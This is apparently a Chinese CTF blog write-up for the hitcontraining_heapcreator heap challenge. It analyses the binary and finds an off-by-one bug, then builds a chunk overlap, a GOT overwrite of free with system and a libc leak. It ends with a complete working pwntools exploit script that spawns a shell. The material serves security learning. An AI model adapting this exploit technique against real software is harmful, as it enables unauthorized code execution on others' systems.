hitcontraining_heapcreator

hitcontraining_heapcreator

使用checksec查看:
在这里插入图片描述
开启了Canary和栈不可执行,没有开启PIE。

先运行一下看看:
在这里插入图片描述
看到菜单,堆题,放进IDA中查看:
在这里插入图片描述
分布来查看,首先是create_heap()
在这里插入图片描述

  • heaparray[i] = malloc(0x10uLL):创建用户所需chunk前程序会先创建一个0x10大小的chunk
  • v0[1] = malloc(size);:程序所创建的chunk中存放了用户所创的chunk的地址

edit_heap()
在这里插入图片描述

  • read_input(*((_QWORD *)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);:末尾多加了1 ,明显的off-by-one漏洞

show()
在这里插入图片描述

  • 没啥问题,就显示出内容

delete_heap()
在这里插入图片描述

  • heaparray[v1] = 0LL;指针清了,也没啥问题。

题目思路

  • 全局看下来只存在了一个off-by-one漏洞。
  • 利用 off by one 漏洞覆盖下一个 chunk 的 size 字段。
  • 从而构造fake_chunk 大小。
  • 申请fake_chunk 大小
  • 产生 chunk overlap,进而修改关键指针。

步骤解析

程序自动创建的chunk大小是0x10,所以本题我们也使用这个大小。
首先创建三个chunk

在这里插入图片描述
在这里插入图片描述

通过off-by-one修改chunk0,覆盖到程序创建的chunk1的size位

在这里插入图片描述

接着free掉chunk1

在这里插入图片描述

可以看到free掉的chunk进入了fastbin中的0x80位置,此时在申请一个0x70大小的chunk,就能将这个0x80块申请出来

此时chunk2的指针没有更改,系统创建的chunk2还是存放着用户创建的chunk2的地址

我们可以将该地址修改成free@got的地址,泄露出libc的地址。

在这里插入图片描述
在这里插入图片描述

接着修改chunk2,对应得就会修改free@got所指向的地址,将该地址修改成system的地址

调用free时,就会调用system,前面已经将chunk0的内容改为/bin/sh

所以free(0)就会变成system('/bin/sh')

完整exp:

from pwn import *

#start
# r = remote('node4.buuoj.cn',29754)
r = process("../buu/hitcontraining_heapcreator")
elf = ELF("../buu/hitcontraining_heapcreator")
libc = ELF("../buu/ubuntu16(64).so")
context.log_level='debug'
gdb.attach(r,"b *0x4008FA")

def add(size,content):
    r.sendlineafter("choice :",'1')
    r.sendlineafter("Heap : ",str(size))
    r.sendlineafter("heap:",content)

def edit(idx,content):
    r.sendlineafter("choice :",'2')
    r.sendlineafter("Index :",str(idx))
    r.sendlineafter("heap : ",content)

def show(idx):
    r.sendlineafter("choice :",'3')
    r.sendlineafter("Index :",str(idx))

def delete(idx):
    r.sendlineafter("choice :",'4')
    r.sendlineafter("Index :",str(idx))

#params
free_got = elf.got['free']

#attack
add(0x18,"MMMM")
add(0x10,"MMMM")
add(0x10,"MMMM")
# gdb.attach(r)

edit(0,b'/bin/sh\x00'+p64(0)*2+b'\x81')
# gdb.attach(r)
delete(1)

add(0x70,p64(0)*8+p64(0x8)+p64(free_got))
show(2)
free_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

#libc
base_addr = free_addr - libc.symbols['free']
system_addr = base_addr + libc.symbols['system']

edit(2,p64(system_addr))
#gdb.attach(r)
delete(0)

r.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值